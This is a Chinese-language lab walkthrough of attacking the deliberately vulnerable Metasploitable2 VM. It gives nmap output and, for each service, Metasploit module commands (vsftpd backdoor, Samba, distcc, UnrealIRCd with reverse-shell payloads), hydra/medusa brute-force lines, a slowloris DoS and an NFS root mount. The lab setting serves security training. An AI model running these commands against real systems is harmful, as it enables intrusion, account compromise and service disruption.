信息收集阶段
由于是Vmware中的靶机,所以不做真实IP、旁站、C段、WAF等信息的收集
端口收集:
获得开放的服务信息:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-27 19:22 CST
Host is up (0.016s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.24.253
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-bounce: bounce working!
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 40158/udp mountd
| 100005 1,2,3 47688/tcp mountd
| 100021 1,3,4 55247/udp nlockmgr
| 100021 1,3,4 59456/tcp nlockmgr
| 100024 1 49302/tcp status
|_ 100024 1 58498/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login?
514/tcp open shell?
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ccproxy-ftp?
3306/tcp open mysql?
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X, Microsoft Windows XP|7|2012
OS CPE: cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: DD-WRT v24-sp2 (Linux 2.4.37), Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h59m36s, deviation: 2h49m45s, median: -25s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2023-09-27T07:25:06-04:00
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.21 ms 192.168.207.2
2 0.06 ms 172.16.10.36
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 265.20 seconds
统计阶段
端口/服务 | 端口/服务 |
---|---|
21 / VSFTPD 2.3.4(笑脸漏洞) | 1524 / ingreslock 后门 |
22 / 弱口令 | 512 / 命令执行 |
23 /弱口令 | |
25 - | 514 - |
53 - | 1099 / java-rmi反序列化 |
80 - 多种漏洞-例如CGI \ HTTP-DDOS拒绝服务攻击 | 154 - |
111 - NFS服务配置漏洞 | 2049 / NFS共享漏洞 |
139、445 / SMB任意命令执行 | 2121 - ftp弱口令 |
3306 / MySQL弱口令 | 3632 / Distccd任意命令执行 |
5432 / Postgresql弱口令 | 5900 / vnc弱口令 |
6000 - | 6667 / UnrealIRCd漏洞 |
6697 / unreal_ircd | 8009 / 命令执行 |
8180 / tomcat弱口令 | 8787 / drb_remote_codeexec |
利用阶段
VSFTPD 2.3.4
利用方式:
- metasploit模块利用
- 笑脸:)利用(需要目标机器开启6200端口)
- ftp爆破
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search vsftpd:搜索利用模块`
`use exploit/unix/ftp/vsftpd_234_backdoor:使用模块`
`options:查看需要配置的参数`
`set rhost 192.168.207.140:设置目标IP`
`run:开始运行
成功拿到shell
SSH爆破
利用方式:
- metasploit模块利用
- ssh爆破
ssh爆破
使用Medusa美杜莎工具爆破该靶机的SSH账密
medusa -M ssh -h 192.168.207.140 -U user.txt -P pass.txt -f -t 5
这里为了方便直接设置了用户名为msfadmin
Telnet爆破
利用方式:
- metasploit模块利用
测试的Hydra和Medusa都无法爆破Telnet,如果是利用错误或者有其他的利用方式希望各位师傅可以为我指出,谢谢啦!
使用metasploit中的利用模块
msfconsole:进入metaspolit`
`search telnet_login:搜索利用模块`
`use scanner/telnet/telnet_login:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP
set user_file 用户名字典路径
set pass_file 密码的字典路径
set threads 10:设置线程数量
run:运行
CGI/FastCGI
首先了解什么是CGI:
CGI是一个通用网关接口,用于Web服务器与外部应用程序(CGI程序)之间传递信息的接口标准。
当客户端向Web服务器发起一次请求的时候:
如果请求的是静态文件,例如html文件。不调用CGI,也就是不发起CGI请求。Web服务器会直接返回该文件的内容。
如果请求的是动态脚本,例如php文件。调用CGI,发起一次CGI请求。Web服务器会启动对应的CGI程序,将数据进行简单的处理之后交给PGP解释器。
CGI程序会解析请求中的URL,查询字符串(在?之后的参数,每对参数根据键值对来划分,每对参数使用&来分隔),POST数据和HTTP头部的信息,并且根据这些信息生成动态的响应内容。CGI程序会按照CGI协议规定的格式将结果返回给Web服务器,然后Web服务器将结果返回给客户端。
在处理完一个请求之后,CGI程序会退出,如果下次有新的CGI请求,Web服务器会再次启动一个新的CGI进程来处理。
而需要注意的是,随着科技的进步技术的发展,出现了更高效的替代方案,例如FastCGI,WSGI等,他们可以有效的避免每次请求都启动新的进程,提高性能和效率。
什么是FastCGI:
FastCGI是CGI的改进版本,用来改善CGI的性能问题。
而两者的区别为:
CGI:当每次请求到达的时候都会启动一个CGI进程来执行相对应的CGI程序并且处理请求返回结果。而用完之后会销毁这个CGI进程。频繁的创建和销毁CGI进程会对服务器性能有较大的损耗。
FastCGI:FastCGI在Web中引用了一个进程管理器,它会启动一组长时间运行的FastCGI进程。这些FastCGI进程会一直保持运行状态,当每次有请求到达的时候,Web会将请求发给空闲的FastCGI进程,而不需要重新创建进程。避免了频繁的创建和销毁进程,提高了性能和效率。
使用目录扫描成功发现文件:phpinfo.php
通过访问得知当前的 Server API是CGI/FastCGI
而该方式在PHP中可能存在CGI参数注入等问题。
CGI 参数注入可能发生的原因主要包括以下情况:
- 未正确过滤用户输入:如果 CGI 程序在接收到参数后未对用户输入进行适当的验证和过滤,攻击者可能利用特殊字符或字符串注入恶意代码,从而执行未经授权的操作。
- 命令注入:当 CGI 程序在执行系统命令时,如果未正确地对参数进行转义或验证,攻击者可能通过注入恶意命令来执行任意命令。
- SQL 注入:如果 CGI 程序在与数据库交互时,未对参数进行参数化查询或预编译语句处理,攻击者可能通过注入恶意 SQL 语句来访问或篡改数据库中的数据。
- 文件路径注入:在文件操作中,如果 CGI 程序未正确验证和处理文件路径参数,攻击者可能注入特殊路径来访问敏感文件或执行恶意操作。
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasplot`
`search php_cgi:搜索利用模块`
`use exploit/multi/http/php_cgi_arg_injection:使用模块`
`options:查看需要配置的参数
`set rhost 192.168.207.140:设置目标机IP`
`run:运行`
DDOS拒绝服务攻击
通过db_nmap
漏洞扫描得知存在一个CVE漏洞,并且通过查询得知,该CVE是一个DDOS攻击。
db_nmap --script=vuln -p 80 -T4 192.168.207.140
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search slowloris:搜索利用模块`
`use auxiliary/dos/http/slowloris:使用模块`
`options:查看需要配置的参数
set rhost 192.168.207.140:设计目标机IP`
`run:运行
SMB任意命令执行
139与445分别为:NetBIOS协议和SMB协议,都涉及文件共享和通信。
但是NetBIOS是早期用于文件共享和通信的协议。由于安全性和设计限制等问题,逐渐被SMB取代。
也可以理解为SMB协议是NetBIOS的平替或者升级版。
由于139和445都属于SMB服务类型,所以两者可能存在相同的漏洞,这点可以在nmap扫描中获得关键信息(见第一页nmap扫描结果)。
利用方式:
- metasploit模块利用
使用metasplooit中的利用模块
msfconsole:进入metasploit`
`search samba:搜索利用模块`
`use exploit/multi/samba/usermap_script:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`run:运行
exec账密爆破
有的师傅说该服务可以使用hydra进行爆破
我使用的命令为:hydra -L username.txt -P password.txt rexec
没有爆破成功
java-rmi反序列化
使用db_nmap
扫描该端口
db_nmap --script=vuln -p 1099 192.168.207.140
提示该端口的状态为脆弱
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search java_rmi:搜索利用模块`
`use exploit/multi/misc/java_rmi_server:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`run:运行
ingreslock后门
使用db_nmap
扫描该端口
db_nmap --script=vuln -p 1524 192.168.207.140
显示当前端口服务名为ingreslock
而ingreslock
是一个早期的数据库管理系统漏洞,它可能导致很严重的安全问题
利用方式:
- Telnet连接
使用Telnet连接
telnet 192.168.207.140 1524
nfs文件共享漏洞
使用命令查看文件共享情况:showmount -e 192.168.207.140
所有文件共享
利用方式:
- mount进行共享
开始利用
mkdir /temp/:在攻击机的根目录创建temp文件夹`
`mount -t 192.168.207.140:/ ./temp -o nolock:将temp与目标机共享`
`cd /temp:进入共享文件夹`
`ll:查看所有文件以及目录
ftp弱口令
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search ftp_login:搜索利用模块`
`use scanner/ftp/ftp_login:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`set rport 2121:设置目标机端口(由于该ftp服务开启的为2121端口,所以需要修改端口)`
`set userpass_file /usr/local/my-files/pass-notebook/123.txt(值得一提的是,账密格式为)
USERNAME1 PASSWORD1
USERNAME2 PASSWORD2
USERNAME3 PASSWORD3
… …
run:运行
MySQL弱口令
利用方式
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search mysql:搜索利用模块`
`use scanner/mysql/mysql_login:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`run:运行
没有密码,输入root可以直接登录
Distccd任意命令执行
使用db_nmap
扫描该端口
db_nmap --script=vuln -p 3632 192.168.207.140
提示当前端口存在一个CVE漏洞。
漏洞编号:cve-2004-2687
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search distcc:搜索利用模块`
`use exploit/unix/misc/distcc_exec:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`set payload cmd/unix/reverse:设置攻击载荷`
`run:运行
Postgresql弱口令
利用方式:
- metasploit模块利用
- Hydra爆破
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search postgres:搜索利用模块`
`use scanner/postgres/postgres_login:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`run:运行(自带账号密码本,所以不需要额外设置)
Hydra爆破
使用命令:hydra -L 用户名字典 -P 密码字典 192.168.207.140 postgres -s 5432 -t 8
vnc弱口令
利用方式:
- metasploit模块利用
- Medusa爆破
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search vnc_login:搜索利用模块`
`use scanner/vnc/vnc_login:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`run:运行(自带账号密码本,所以不需要额外设置)
Medusa爆破
使用命令:medusa -h 192.168.207.140 -U user.txt -P pass.txt -M vnc -t 4
UnrealIRCd漏洞
UnrealIRCd 曾经存在严重的安全漏洞,可能导致远程代码执行和获取系统访问权限。
其中,最知名的是 UnrealIRCd 3.2.8.1 版本的“幽灵漏洞”(Ghost Vulnerability),也被编号为CVE-2010-2075
。这个漏洞允许攻击者通过特定的恶意请求在目标服务器上执行任意代码,从而获得服务器的控制权。该漏洞曾广泛被利用。
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search ircd:搜索利用模块`
`use exploit/unix/irc/unreal_ircd_3281_backdoor:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`set lhost 192.168.207.1:设置攻击机IP`
`set payload cmd/unix/reverse:设置攻击载荷`
`run:运行
tomcat弱口令
利用方式:
- metasploit模块利用
- Hydra爆破
使用metasploit中的利用模块
msfconsole:进入metasploit`
`search tomcat:搜索利用模块`
`use auxiliary/scanner/http/tomcat_mgr_login:使用模块`
`options:查看需要配置的参数
set rhosts 192.168.207.140:设置目标机IP`
`set rport 8180:设置端口(因为不是默认的8080,所以需要设置8180)`
`run:运行(自带账号密码本,所以不需要额外设置)
Hydra爆破
使用命令:hydra -L user.txt -P pass.txt 192.168.207.140 -s 8180 http-get /manager/html
6667端口6697 IRC服务, IRC服务这个版本存在后门漏洞,直接exp后getshell
使用模块:use exploit/unix/irc/unreal_ircd_3281_backdoor
8787端口drb服务,有个远程sa代码执行漏洞
使用模块:use exploit/linux/misc/drb_remote_codeexec
512端口 exec
Distcc 用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是 xcode1.5 版本及其他版本的 distcc2.x 版本配置对于服务器端口的访问不限制。
如有侵权,请即使告知
Comments NOTHING